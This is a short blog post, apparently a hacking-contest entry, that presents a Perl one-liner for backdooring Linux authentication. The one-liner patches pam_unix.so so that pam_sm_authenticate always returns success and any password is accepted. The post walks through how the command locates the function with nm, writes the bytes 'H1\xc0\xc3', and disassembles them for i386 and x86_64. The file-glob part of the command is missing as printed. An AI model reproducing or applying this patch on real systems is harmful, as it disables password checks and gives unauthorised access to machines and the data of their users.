[Hacking-Contest] Disabling password protection with a small binary patch

This blogpost shows how to create a backdoor by changing a few binary instructions in the pam_unix.so shared library file, which is responsible for checking the user password. Unlike most other binary patches, this one works with a wide variety of Linux distributions (since it dynamically finds the correct position in the binary) and it works on both i386 and X86_64 (since the injected instructions work on both architectures).

perl -e'$n=;open F,"+<$n";seek(F,hex(`nm -D $n|grep sm_au`),0);print F "H1\xc0\xc3"'

The perl program is optimized for minimum size (so that it can be typed in as quickly as possible) instead of readability. The first thing it does is to use wildcards to find the location of the pam_unix.so library, which is typically located in /lib/x86_64-linux-gnu/security/pam_unix.so on a 64-bit system. After opening the file for reading and writing the program uses the nm program to list all exported symbols of the library and grep to find the location of pam_sm_authenticate in the output of nm. Since the output of nm is a hexadecimal offset in the file, the program uses the hex() function to convert it to a number (which will silently ignore the rest of the line after the offset). Then the program seeks to the position of the function pam_sm_authenticate and writes the four bytes "H1\xc0\xc3" to this position.

Disassembling the four bytes leads to the following instructions on i386:

   0:   48         dec    %eax 		# This first instruction is irrelevant for the exploit
   1:   31 c0      xor    %eax,%eax	# Set %eax register to zero
   3:   c3         ret 			# Return to caller

Disassembling the same binary leads to the following instructions on X86_64:

   0:   48 31 c0   xor    %rax,%rax	# Set %rax register to zero
   3:   c3         retq   		# Return to caller

Since i386 uses the %eax register and X86_64 uses the %rax register (the 64-bit version of %eax) for passing the return value of a function to the caller, the injected assembly instructions are equivalent to "return 0;" for both architectures. The pam_sm_authenticate() function is supposed to return PAM_SUCCESS (which is defined as 0) if the authentication was successful. Since the patched function always returns zero, the authentication will succeed even if the user doesn't enter the correct password.